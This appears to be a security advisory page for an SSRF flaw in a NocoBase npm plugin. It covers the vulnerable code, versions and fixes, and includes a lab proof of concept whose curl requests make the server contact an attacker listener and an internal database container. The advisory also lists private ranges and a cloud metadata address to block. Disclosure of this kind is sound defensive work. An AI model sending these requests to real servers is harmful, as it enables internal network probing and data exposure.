CVE-2026-79914 is a medium-severity (CVSS 4.3) Server-Side Request Forgery (SSRF) vulnerability in @nocobase/plugin-action-custom-request. A fix is available for @nocobase/plugin-action-custom-request — see the affected versions and patch details below.
NocoBase: SSRF in customRequests:send via runtime options.url override
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
@nocobase/plugin-action-custom-request📦@nocobase/plugin-action-custom-requestReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
- Product: NocoBase
- Version: v2.1.10
- Component:
@nocobase/plugin-action-custom-request - Severity: Moderate
- Required privilege: authenticated low-privileged user / member
Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
- Docker image:
nocobase/nocobase:latest-full - Commit:
23e2bd35625439594e4757bac31d57c9e8e695b9 - Database: PostgreSQL 16
- Containers:
nocobase-lab,nocobase-postgres - Docker network:
172.19.0.0/16 - Important environment variable:
SERVER_REQUEST_WHITELISTwas not set
Details
The vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
PoC
Step 1: Admin creates a valid Custom Request config
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
<img width="1467" height="619" alt="Admin creates Custom Request config" src="https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6" />Step 2: Start an attacker-controlled HTTP listener
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
<img width="888" height="195" alt="image" src="https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89" />Step 3: Low-privileged user triggers SSRF by overriding options.url
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
<img width="959" height="570" alt="Low-privileged user triggers SSRF" src="https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77" />Step 4: Attacker-controlled listener receives the server-side request
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
<img width="744" height="206" alt="Listener receives GET /ssrf-proof" src="https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051" />Step 5: Internal service reachability test
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
Impact
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
- internal service enumeration
- access to services only reachable from the server-side network
- Docker host gateway reachability testing
- reading responses from internal HTTP services when response bodies are returned
- potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked
- use of the NocoBase server as a trusted network proxy
Confirmed in the local lab:
- attacker-controlled HTTP listener received a request from the NocoBase server
- internal PostgreSQL container
nocobase-postgres:5432was reachable - Docker host gateway reachability was confirmed
This can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
Recommended Fix
- Restrict
customRequests:sendto administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
-
Do not allow low-privileged users to override stored request URLs at runtime.
-
Require
SERVER_REQUEST_WHITELISTby default in production Docker images. -
Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
-
Resolve DNS and validate the final resolved IP address before making the outbound request.
-
Revalidate the target after redirects.
-
Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nocobase/plugin-action-custom-request | ≥ 2.1.0-alpha.8&&< 2.1.15 | 2.1.15npm install @nocobase/plugin-action-custom-request@2.1.15 |
| 📦npm | @nocobase/plugin-action-custom-request | ≥ 2.2.0-alpha.1&&< 2.2.0-alpha.4 | 2.2.0-alpha.4npm install @nocobase/plugin-action-custom-request@2.2.0-alpha.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/plugin-action-custom-request, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nocobase/plugin-action-custom-request to 2.1.15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-79914 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is CVE-2026-79914 in your dependencies?
Find it across npm, including transitive dependencies.